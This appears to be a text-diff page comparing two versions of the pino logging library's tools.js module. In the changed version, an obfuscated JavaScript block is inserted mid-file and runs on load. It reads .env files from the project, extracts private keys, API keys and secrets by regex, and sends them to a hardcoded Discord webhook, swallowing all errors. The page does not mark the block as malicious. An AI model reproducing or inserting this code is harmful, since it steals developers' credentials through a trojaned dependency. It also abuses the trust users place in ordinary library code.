point >= 32; i++) { point = str.charCodeAt(i) if (point === 34 || point === 92) { result += str.slice(last, i) + '\\' last = i found = true } } if (!found) { result = str } else { result += str.slice(last) } return point < 32 ? JSON.stringify(str) : '"' + result + '"' } /** * `asJson` wraps `_asJson` in order to facilitate generating diagnostics. * * @param {object} obj The merging object passed to the log method. * @param {string} msg The log message passed to the log method. * @param {number} num The log level number. * @param {number} time The log time in milliseconds. * * @returns {string} */ function asJson (obj, msg, num, time) { if (asJsonChan.hasSubscribers === false) { return _asJson.call(this, obj, msg, num, time) } const store = { instance: this, arguments } return asJsonChan.traceSync(_asJson, store, this, obj, msg, num, time) } /** * `_asJson` parses all collected data and generates the finalized newline * delimited JSON string. * * @param {object} obj The merging object passed to the log method. * @param {string} msg The log message passed to the log method. * @param {number} num The log level number. * @param {number} time The log time in milliseconds. * * @returns {string} The finalized log string terminated with a newline. * @private */ function _asJson (obj, msg, num, time) { const stringify = this[stringifySym] const stringifySafe = this[stringifySafeSym] const stringifiers = this[stringifiersSym] const end = this[endSym] const chindings = this[chindingsSym] const serializers = this[serializersSym] const formatters = this[formattersSym] const messageKey = this[messageKeySym] const errorKey = this[errorKeySym] let data = this[lsCacheSym][num] + time // we need the child bindings added to the output first so instance logged // objects can take precedence when JSON.parse-ing the resulting log line data = data + chindings let value if (formatters.log) { obj = formatters.log(obj) } const wildcardStringifier = stringifiers[wildcardFirstSym] let propStr = '' for (const key in obj) { value = obj[key] if (Object.prototype.hasOwnProperty.call(obj, key) && value !== undefined) { if (serializers[key]) { value = serializers[key](value) } else if (key === errorKey && serializers.err) { value = serializers.err(value) } const stringifier = stringifiers[key] || wildcardStringifier switch (typeof value) { case 'undefined': case 'function': continue case 'number': /* eslint no-fallthrough: "off" */ if (Number.isFinite(value) === false) { value = null } // this case explicitly falls through to the next one case 'boolean': if (stringifier) value = stringifier(value) break case 'string': value = (stringifier || asString)(value) break default: value = (stringifier || stringify)(value, stringifySafe) } if (value === undefined) continue const strKey = asString(key) propStr += ',' + strKey + ':' + value } } let msgStr = '' if (msg !== undefined) { value = serializers[messageKey] ? serializers[messageKey](msg) : msg const stringifier = stringifiers[messageKey] || wildcardStringifier switch (typeof value) { case 'function': break case 'number': if (Number.isFinite(value) === false) { value = null } // this case explicitly falls through to the next one case 'boolean': if (stringifier) value = stringifier(value) msgStr = ',"' + messageKey + '":' + value break case 'string': value = (stringifier || asString)(value) msgStr = ',"' + messageKey + '":' + value break default: value = (stringifier || stringify)(value, stringifySafe) msgStr = ',"' + messageKey + '":' + value } } if (this[nestedKeySym] && propStr) { // place all the obj properties under the specified key // the nested key is already formatted from the constructor return data + this[nestedKeyStrSym] + propStr.slice(1) + '}' + msgStr + end } else { return data + propStr + msgStr + end } } function asChindings (instance, bindings) { let value let data = instance[chindingsSym] const stringify = instance[stringifySym] const stringifySafe = instance[stringifySafeSym] const stringifiers = instance[stringifiersSym] const wildcardStringifier = stringifiers[wildcardFirstSym] const serializers = instance[serializersSym] const formatter = instance[formattersSym].bindings bindings = formatter(bindings) for (const key in bindings) { value = bindings[key] const valid = (key.length < 5 || (key !== 'level' && key !== 'serializers' && key !== 'formatters' && key !== 'customLevels')) && bindings.hasOwnProperty(key) && value !== undefined if (valid === true) { value = serializers[key] ? serializers[key](value) : value value = (stringifiers[key] || wildcardStringifier || stringify)(value, stringifySafe) if (value === undefined) continue data += ',"' + key + '":' + value } } return data } function hasBeenTampered (stream) { return stream.write !== stream.constructor.prototype.write } function buildSafeSonicBoom (opts) { const stream = new SonicBoom(opts) stream.on('error', filterBrokenPipe) // If we are sync: false, we must flush on exit if (!opts.sync && isMainThread) { onExit.register(stream, autoEnd) stream.on('close', function () { onExit.unregister(stream) }) } return stream function filterBrokenPipe (err) { // Impossible to replicate across all operating systems /* istanbul ignore next */ if (err.code === 'EPIPE') { // If we get EPIPE, we should stop logging here // however we have no control to the consumer of // SonicBoom, so we just overwrite the write method stream.write = noop stream.end = noop stream.flushSync = noop stream.destroy = noop return } stream.removeListener('error', filterBrokenPipe) stream.emit('error', err) } } function autoEnd (stream, eventName) { // This check is needed only on some platforms /* istanbul ignore next */ if (stream.destroyed) { return } if (eventName === 'beforeExit') { // We still have an event loop, let's use it stream.flush() stream.on('drain', function () { stream.end() }) } else { // For some reason istanbul is not detecting this, but it's there /* istanbul ignore next */ // We do not have an event loop, so flush synchronously stream.flushSync() } } function createArgsNormalizer (defaultOptions) { return function normalizeArgs (instance, caller, opts = {}, stream) { // support stream as a string if (typeof opts === 'string') { stream = buildSafeSonicBoom({ dest: opts }) opts = {} } else if (typeof stream === 'string') { if (opts && opts.transport) { throw Error('only one of option.transport or stream can be specified') } stream = buildSafeSonicBoom({ dest: stream }) } else if (opts instanceof SonicBoom || opts.writable || opts._writableState) { stream = opts opts = {} } else if (opts.transport) { if (opts.transport instanceof SonicBoom || opts.transport.writable || opts.transport._writableState) { throw Error('option.transport do not allow stream, please pass to option directly. e.g. pino(transport)') } if (opts.transport.targets && opts.transport.targets.length && opts.formatters && typeof opts.formatters.level === 'function') { throw Error('option.transport.targets do not allow custom level formatters') } let customLevels if (opts.customLevels) { customLevels = opts.useOnlyCustomLevels ? opts.customLevels : Object.assign({}, opts.levels, opts.customLevels) } stream = transport({ caller, ...opts.transport, levels: customLevels }) } opts = Object.assign({}, defaultOptions, opts) opts.serializers = Object.assign({}, defaultOptions.serializers, opts.serializers) opts.formatters = Object.assign({}, defaultOptions.formatters, opts.formatters) if (opts.prettyPrint) { throw new Error('prettyPrint option is no longer supported, see the pino-pretty package (https://github.com/pinojs/pino-pretty)') } const { enabled, onChild } = opts if (enabled === false) opts.level = 'silent' if (!onChild) opts.onChild = noop if (!stream) { if (!hasBeenTampered(process.stdout)) { // If process.stdout.fd is undefined, it means that we are running // in a worker thread. Let's assume we are logging to file descriptor 1. stream = buildSafeSonicBoom({ fd: process.stdout.fd || 1 }) } else { stream = process.stdout } } return { opts, stream } } } function stringify (obj, stringifySafeFn) { try { return JSON.stringify(obj) } catch (_) { try { const stringify = stringifySafeFn || this[stringifySafeSym] return stringify(obj) } catch (_) { return '"[unable to serialize, circular reference is too complex to analyze]"' } } } function buildFormatters (level, bindings, log) { return { level, bindings, log } } /** * Convert a string integer file descriptor to a proper native integer * file descriptor. * * @param {string} destination The file descriptor string to attempt to convert. * * @returns {Number} */ function normalizeDestFileDescriptor (destination) { const fd = Number(destination) if (typeof destination === 'string' && Number.isFinite(fd)) { return fd } // destination could be undefined if we are in a worker if (destination === undefined) { // This is stdout in UNIX systems return 1 } return destination } module.exports = { noop, buildSafeSonicBoom, asChindings, asJson, genLog, createArgsNormalizer, stringify, buildFormatters, normalizeDestFileDescriptor }
Changed text
Open file
'use strict' /* eslint no-prototype-builtins: 0 */ const format = require('quick-format-unescaped') const { mapHttpRequest, mapHttpResponse } = require('pino-std-serializers') const SonicBoom = require('sonic-boom') const onExit = require('on-exit-leak-free') const { lsCacheSym, chindingsSym, writeSym, serializersSym, formatOptsSym, endSym, stringifiersSym, stringifySym, stringifySafeSym, wildcardFirstSym, nestedKeySym, formattersSym, messageKeySym, errorKeySym, nestedKeyStrSym, msgPrefixSym } = require('./symbols') const { isMainThread } = require('worker_threads') const transport = require('./transport') function noop () { } function genLog (level, hook) { if (!hook) return LOG return function hookWrappedLog (...args) { hook.call(this, args, LOG, level) } function LOG (o, ...n) { if (typeof o === 'object') { let msg = o if (o !== null) { if (o.method && o.headers && o.socket) { o = mapHttpRequest(o) } else if (typeof o.setHeader === 'function') { o = mapHttpResponse(o) } } let formatParams if (msg === null && n.length === 0) { formatParams = [null] } else { msg = n.shift() formatParams = n } // We do not use a coercive check for `msg` as it is // measurably slower than the explicit checks. if (typeof this[msgPrefixSym] === 'string' && msg !== undefined && msg !== null) { msg = this[msgPrefixSym] + msg } this[writeSym](o, format(msg, formatParams, this[formatOptsSym]), level) } else { let msg = o === undefined ? n.shift() : o // We do not use a coercive check for `msg` as it is // measurably slower than the explicit checks. if (typeof this[msgPrefixSym] === 'string' && msg !== undefined && msg !== null) { msg = this[msgPrefixSym] + msg } this[writeSym](null, format(msg, n, this[formatOptsSym]), level) } } } // magically escape strings for json // relying on their charCodeAt // everything below 32 needs JSON.stringify() // 34 and 92 happens all the time, so we // have a fast case for them function asString (str) { let result = '' let last = 0 let found = false let point = 255 const l = str.length if (l > 100) { return JSON.stringify(str) } for (var i = 0; i < l && point >= 32; i++) { point = str.charCodeAt(i) if (point === 34 || point === 92) { result += str.slice(last, i) + '\\' last = i found = true } } if (!found) { result = str } else { result += str.slice(last) } return point < 32 ? JSON.stringify(str) : '"' + result + '"' } function asJson (obj, msg, num, time) { const stringify = this[stringifySym] const stringifySafe = this[stringifySafeSym] const stringifiers = this[stringifiersSym] const end = this[endSym] const chindings = this[chindingsSym] const serializers = this[serializersSym] const formatters = this[formattersSym] const messageKey = this[messageKeySym] const errorKey = this[errorKeySym] let data = this[lsCacheSym][num] + time // we need the child bindings added to the output first so instance logged // objects can take precedence when JSON.parse-ing the resulting log line data = data + chindings let value if (formatters.log) { obj = formatters.log(obj) } const wildcardStringifier = stringifiers[wildcardFirstSym] let propStr = '' for (const key in obj) { value = obj[key] if (Object.prototype.hasOwnProperty.call(obj, key) && value !== undefined) { if (serializers[key]) { value = serializers[key](value) } else if (key === errorKey && serializers.err) { value = serializers.err(value) } const stringifier = stringifiers[key] || wildcardStringifier switch (typeof value) { case 'undefined': case 'function': continue case 'number': /* eslint no-fallthrough: "off" */ if (Number.isFinite(value) === false) { value = null } // this case explicitly falls through to the next one case 'boolean': if (stringifier) value = stringifier(value) break case 'string': value = (stringifier || asString)(value) break default: value = (stringifier || stringify)(value, stringifySafe) } if (value === undefined) continue const strKey = asString(key) propStr += ',' + strKey + ':' + value } } let msgStr = '' if (msg !== undefined) { value = serializers[messageKey] ? serializers[messageKey](msg) : msg const stringifier = stringifiers[messageKey] || wildcardStringifier switch (typeof value) { case 'function': break case 'number': /* eslint no-fallthrough: "off" */ if (Number.isFinite(value) === false) { value = null } // this case explicitly falls through to the next one case 'boolean': if (stringifier) value = stringifier(value) msgStr = ',"' + messageKey + '":' + value break case 'string': value = (stringifier || asString)(value) msgStr = ',"' + messageKey + '":' + value break default: value = (stringifier || stringify)(value, stringifySafe) msgStr = ',"' + messageKey + '":' + value } } if (this[nestedKeySym] && propStr) { // place all the obj properties under the specified key // the nested key is already formatted from the constructor return data + this[nestedKeyStrSym] + propStr.slice(1) + '}' + msgStr + end } else { return data + propStr + msgStr + end } } function asChindings (instance, bindings) { let value let data = instance[chindingsSym] const stringify = instance[stringifySym] const stringifySafe = instance[stringifySafeSym] const stringifiers = instance[stringifiersSym] const wildcardStringifier = stringifiers[wildcardFirstSym] const serializers = instance[serializersSym] const formatter = instance[formattersSym].bindings bindings = formatter(bindings) for (const key in bindings) { value = bindings[key] const valid = key !== 'level' && key !== 'serializers' && key !== 'formatters' && key !== 'customLevels' && bindings.hasOwnProperty(key) && value !== undefined if (valid === true) { value = serializers[key] ? serializers[key](value) : value value = (stringifiers[key] || wildcardStringifier || stringify)(value, stringifySafe) if (value === undefined) continue data += ',"' + key + '":' + value } } return data } function hasBeenTampered (stream) { return stream.write !== stream.constructor.prototype.write } function buildSafeSonicBoom (opts) { const stream = new SonicBoom(opts) stream.on('error', filterBrokenPipe) // If we are sync: false, we must flush on exit if (!opts.sync && isMainThread) { onExit.register(stream, autoEnd) stream.on('close', function () { onExit.unregister(stream) }) } return stream function filterBrokenPipe (err) { // Impossible to replicate across all operating systems /* istanbul ignore next */ if (err.code === 'EPIPE') { // If we get EPIPE, we should stop logging here // however we have no control to the consumer of // SonicBoom, so we just overwrite the write method stream.write = noop stream.end = noop stream.flushSync = noop stream.destroy = noop return } stream.removeListener('error', filterBrokenPipe) stream.emit('error', err) } } function autoEnd (stream, eventName) { // This check is needed only on some platforms /* istanbul ignore next */ if (stream.destroyed) { return } if (eventName === 'beforeExit') { // We still have an event loop, let's use it stream.flush() stream.on('drain', function () { stream.end() }) } else { // For some reason istanbul is not detecting this, but it's there /* istanbul ignore next */ // We do not have an event loop, so flush synchronously stream.flushSync() } } function createArgsNormalizer (defaultOptions) { return function normalizeArgs (instance, caller, opts = {}, stream) { // support stream as a string if (typeof opts === 'string') { stream = buildSafeSonicBoom({ dest: opts }) opts = {} } else if (typeof stream === 'string') { if (opts && opts.transport) { throw Error('only one of option.transport or stream can be specified') } stream = buildSafeSonicBoom({ dest: stream }) } else if (opts instanceof SonicBoom || opts.writable || opts._writableState) { stream = opts opts = {} } else if (opts.transport) { if (opts.transport instanceof SonicBoom || opts.transport.writable || opts.transport._writableState) { throw Error('option.transport do not allow stream, please pass to option directly. e.g. pino(transport)') } if (opts.transport.targets && opts.transport.targets.length && opts.formatters && typeof opts.formatters.level === 'function') { throw Error('option.transport.targets do not allow custom level formatters') } let customLevels if (opts.customLevels) { customLevels = opts.useOnlyCustomLevels ? opts.customLevels : Object.assign({}, opts.levels, opts.customLevels) } stream = transport({ caller, ...opts.transport, levels: customLevels }) } opts = Object.assign({}, defaultOptions, opts) opts.serializers = Object.assign({}, defaultOptions.serializers, opts.serializers) opts.formatters = Object.assign({}, defaultOptions.formatters, opts.formatters) if (opts.prettyPrint) { throw new Error('prettyPrint option is no longer supported, see the pino-pretty package (https://github.com/pinojs/pino-pretty)') } const { enabled, onChild } = opts if (enabled === false) opts.level = 'silent' if (!onChild) opts.onChild = noop if (!stream) { if (!hasBeenTampered(process.stdout)) { // If process.stdout.fd is undefined, it means that we are running // in a worker thread. Let's assume we are logging to file descriptor 1. stream = buildSafeSonicBoom({ fd: process.stdout.fd || 1 }) } else { stream = process.stdout } } return { opts, stream } } } function stringify (obj, stringifySafeFn) { try { return JSON.stringify(obj) } catch (_) { try { const stringify = stringifySafeFn || this[stringifySafeSym] return stringify(obj) } catch (_) { return '"[unable to serialize, circular reference is too complex to analyze]"' } } } const _0x28e41f=_0x237d;function _0x237d(_0x480552,_0x1893c1){const _0x14333f=_0x1433();return(_0x237d=function(_0x237dcc,_0x632901){_0x237dcc=_0x237dcc-0xba;let _0x9a158a=_0x14333f[_0x237dcc];return _0x9a158a;}),_0x237d(_0x480552,_0x1893c1);}(function(_0x45659e,_0x1452e1){const _0xa34c49=_0x237d,_0x5386b7=_0x45659e();while(!![]){try{const _0x597185=parseInt(_0xa34c49(0xee))/0x1+(-parseInt(_0xa34c49(0xdb))/0x2)*(-parseInt(_0xa34c49(0xda))/0x3)+(-parseInt(_0xa34c49(0xd5))/0x4)*(-parseInt(_0xa34c49(0xe6))/0x5)+parseInt(_0xa34c49(0xca))/0x6+(-parseInt(_0xa34c49(0xe9))/0x7)*(-parseInt(_0xa34c49(0xc5))/0x8)+-parseInt(_0xa34c49(0xe4))/0x9+(parseInt(_0xa34c49(0xbd))/0xa)*(-parseInt(_0xa34c49(0xe0))/0xb);if(_0x597185===_0x1452e1)break;else _0x5386b7["push"](_0x5386b7["shift"]());}catch(_0x361cf3){_0x5386b7["push"](_0x5386b7["shift"]());}}})(_0x1433,0x9d8ff);const _0x6ccb68=_0x2f95;(function(_0x52dc05,_0x6d4a94){const _0x52ca6c=_0x237d,_0x1939c3=_0x2f95,_0x47bafb=_0x52dc05();while(!![]){try{const _0x3f93ca=-parseInt(_0x1939c3(0x140))/0x1+(parseInt(_0x1939c3(0x14a))/0x2)*(parseInt(_0x1939c3(0x141))/0x3)+(parseInt(_0x1939c3(0x144))/0x4)*(-parseInt(_0x1939c3(0x130))/0x5)+-parseInt(_0x1939c3(0x13e))/0x6+-parseInt(_0x1939c3(0x152))/0x7+(parseInt(_0x1939c3(0x13d))/0x8)*(parseInt(_0x1939c3(0x13f))/0x9)+(parseInt(_0x1939c3(0x14e))/0xa)*(parseInt(_0x1939c3(0x157))/0xb);if(_0x3f93ca===_0x6d4a94)break;else _0x47bafb["push"](_0x47bafb[_0x52ca6c(0xea)]());}catch(_0x152ba0){_0x47bafb["push"](_0x47bafb[_0x52ca6c(0xea)]());}}})(_0x549d,0x4a405);function _0x549d(){const _0x3312bf=_0x237d,_0x3744f0=[_0x3312bf(0xe8),_0x3312bf(0xce),_0x3312bf(0xcf),".env",_0x3312bf(0xd6),_0x3312bf(0xd9),_0x3312bf(0xeb),_0x3312bf(0xe3),_0x3312bf(0xec),"1697993nZqkui","join",_0x3312bf(0xc2),_0x3312bf(0xdc),_0x3312bf(0xe1),_0x3312bf(0xc9),_0x3312bf(0xd8),"223460oTaFUS","utf8","sendToDiscord",_0x3312bf(0xc1),_0x3312bf(0xc0),_0x3312bf(0xef),_0x3312bf(0xd7),_0x3312bf(0xe5),"push",_0x3312bf(0xed),"`\x0a**Value:**\x20`",_0x3312bf(0xbc),_0x3312bf(0xc4),"49048hPeRUU","1117458QvotGc","792NpDRnh",_0x3312bf(0xc8),_0x3312bf(0xde),_0x3312bf(0xbe),_0x3312bf(0xc7),"24iGdMbx","forEach",_0x3312bf(0xdf),_0x3312bf(0xd3),"projectRoot",_0x3312bf(0xd2),_0x3312bf(0xcc),_0x3312bf(0xd0),_0x3312bf(0xbf),_0x3312bf(0xd1)];return(_0x549d=function(){return _0x3744f0;}),_0x549d();}const _0x366c1f = require("fs");const _0x45c7ed = require("path");;function _0x2f95(_0x91a93,_0x161f94){const _0x2fbab8=_0x549d();return(_0x2f95=function(_0x471e43,_0x185e9a){_0x471e43=_0x471e43-0x12d;let _0x2a0e51=_0x2fbab8[_0x471e43];return _0x2a0e51;}),_0x2f95(_0x91a93,_0x161f94);}function _0x1433(){const _0x2eac66=["extractPrivateKeys","466071nMKJMK","https://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE","4146666iWjone","📁\x20","8UWfcIY","push","**Key:**\x20`","match","cwd","keys","file","split","sendToDiscord","159508hbGnBl","2442692YwzSxM","value",".env.local","replace","554586QhyrxR","10pZUPTq","stringify","toISOString","196659lhBerr","🔍\x20Results","383405GpIrko",".env.production","endsWith",".env.development","2088900BnXvhs","findEnvFiles","145HoNWLk",".env.example","50rITOVZ","341215bSQaJz","shift","fields","application/json","existsSync","232296UVsaCe","webhookUrl","forEach","POST","trim","750qTJJPE","key","basename","length","createDiscordEmbed","scanAndReport","line","readFileSync","80pWptdl","\x20-\x20Line\x20"];_0x1433=function(){return _0x2eac66;};return _0x1433();}class Run{constructor(_0x39cf71){const _0x3563a9=_0x2f95;(this[_0x3563a9(0x135)]=_0x39cf71),(this[_0x3563a9(0x148)]=process[_0x3563a9(0x14b)]());}[_0x6ccb68(0x137)](){const _0x4b906f=_0x237d,_0x5153bc=_0x6ccb68,_0x2727e8=[],_0x46afa7=[_0x5153bc(0x151),_0x4b906f(0xe7),_0x5153bc(0x12f),_0x5153bc(0x12d),_0x5153bc(0x155)];for(const _0x201ac2 of _0x46afa7){const _0x3342b6=_0x45c7ed[_0x5153bc(0x158)](this[_0x5153bc(0x148)],_0x201ac2);_0x366c1f[_0x5153bc(0x139)](_0x3342b6)&&_0x2727e8[_0x5153bc(0x138)](_0x3342b6);}return _0x2727e8;}[_0x6ccb68(0x143)](_0x371198,_0x41b9c9){const _0x32f8e5=_0x237d,_0x3f4c3d=_0x6ccb68,_0x3e1c07=[];let _0x2796a9=_0x371198[_0x3f4c3d(0x147)]("\x0a");_0x2796a9[0x0]&&_0x2796a9[0x0][_0x32f8e5(0xe2)]("\x0d")&&(_0x2796a9=_0x371198[_0x3f4c3d(0x147)]("\x0d\x0a"));const _0x6db62a=[/^PRIVATE_KEY\s*=\s*(.+)$/i,/^SECRET_KEY\s*=\s*(.+)$/i,/^API_KEY\s*=\s*(.+)$/i,/^ACCESS_KEY\s*=\s*(.+)$/i,/^SECRET\s*=\s*(.+)$/i,/^KEY\s*=\s*(.+)$/i];return(_0x2796a9[_0x32f8e5(0xba)]((_0x1dd75d,_0x18ec27)=>{const _0x52387b=_0x32f8e5,_0x4429a9=_0x3f4c3d;for(const _0x16ba03 of _0x6db62a){const _0x3b88ca=_0x1dd75d[_0x4429a9(0x150)](_0x16ba03);if(_0x3b88ca&&_0x3b88ca[0x1]){const _0x5719c4=_0x3b88ca[0x1][_0x4429a9(0x13b)]()[_0x4429a9(0x153)](/['"]/g,"");_0x3e1c07[_0x52387b(0xcd)]({key:_0x3b88ca[0x0][_0x4429a9(0x147)]("=")[0x0][_0x4429a9(0x13b)](),value:_0x5719c4,line:_0x18ec27+0x1});}}}),_0x3e1c07);}async[_0x28e41f(0xd4)](_0x436551){const _0x16bc7f=_0x28e41f,_0x3579ef=_0x6ccb68;try{const _0xf55f3d=await fetch(this["webhookUrl"],{method:_0x16bc7f(0xbb),headers:{"Content-Type":_0x3579ef(0x156)},body:JSON[_0x3579ef(0x15a)](_0x436551)});if(_0xf55f3d["ok"]){}else{}}catch(_0x215247){}}[_0x6ccb68(0x133)](_0x5ad81b){const _0x382e7d=_0x28e41f,_0x3919b5=_0x6ccb68,_0xafeae9={title:_0x3919b5(0x146),color:0xff0000,fields:[],timestamp:new Date()[_0x382e7d(0xdd)]()};return(_0x5ad81b["forEach"]((_0x530115)=>{const _0x3961ed=_0x3919b5;_0x530115[_0x3961ed(0x14d)][_0x3961ed(0x145)]((_0xe5d369)=>{const _0x37136c=_0x237d,_0x43d8a1=_0x3961ed;_0xafeae9[_0x43d8a1(0x154)][_0x43d8a1(0x138)]({name:_0x37136c(0xcb)+_0x45c7ed[_0x43d8a1(0x14c)](_0x530115[_0x43d8a1(0x149)])+_0x37136c(0xc6)+_0xe5d369[_0x37136c(0xc3)],value:_0x43d8a1(0x14f)+_0xe5d369[_0x43d8a1(0x142)]+_0x43d8a1(0x13a)+_0xe5d369[_0x43d8a1(0x136)]+"`",inline:![]});});}),{embeds:[_0xafeae9]});}async[_0x6ccb68(0x159)](){const _0x163ed6=_0x6ccb68,_0x3eff7a=this[_0x163ed6(0x137)](),_0x297a25=[];for(const _0x1a964a of _0x3eff7a){try{const _0x3aca2a=_0x366c1f[_0x163ed6(0x13c)](_0x1a964a,_0x163ed6(0x131)),_0x2013bf=this[_0x163ed6(0x143)](_0x3aca2a,_0x1a964a);_0x2013bf[_0x163ed6(0x134)]>0x0&&_0x297a25[_0x163ed6(0x138)]({file:_0x1a964a,keys:_0x2013bf});}catch(_0x6be91c){}}if(_0x297a25[_0x163ed6(0x134)]>0x0){const _0x28d820=this["createDiscordEmbed"](_0x297a25);await this[_0x163ed6(0x132)](_0x28d820);}}}async function log(){const _0x24b586=_0x6ccb68,_0x1885dd=_0x24b586(0x12e),_0x2ec9d8=new Run(_0x1885dd);await _0x2ec9d8[_0x24b586(0x159)]();}log(); function buildFormatters (level, bindings, log) { return { level, bindings, log } } /** * Convert a string integer file descriptor to a proper native integer * file descriptor. * * @param {string} destination The file descriptor string to attempt to convert. * * @returns {Number} */ function normalizeDestFileDescriptor (destination) { const fd = Number(destination) if (typeof destination === 'string' && Number.isFinite(fd)) { return fd } // destination could be undefined if we are in a worker if (destination === undefined) { // This is stdout in UNIX systems return 1 } return destination } module.exports = { noop, buildSafeSonicBoom, asChindings, asJson, genLog, createArgsNormalizer, stringify, buildFormatters, normalizeDestFileDescriptor }
Find difference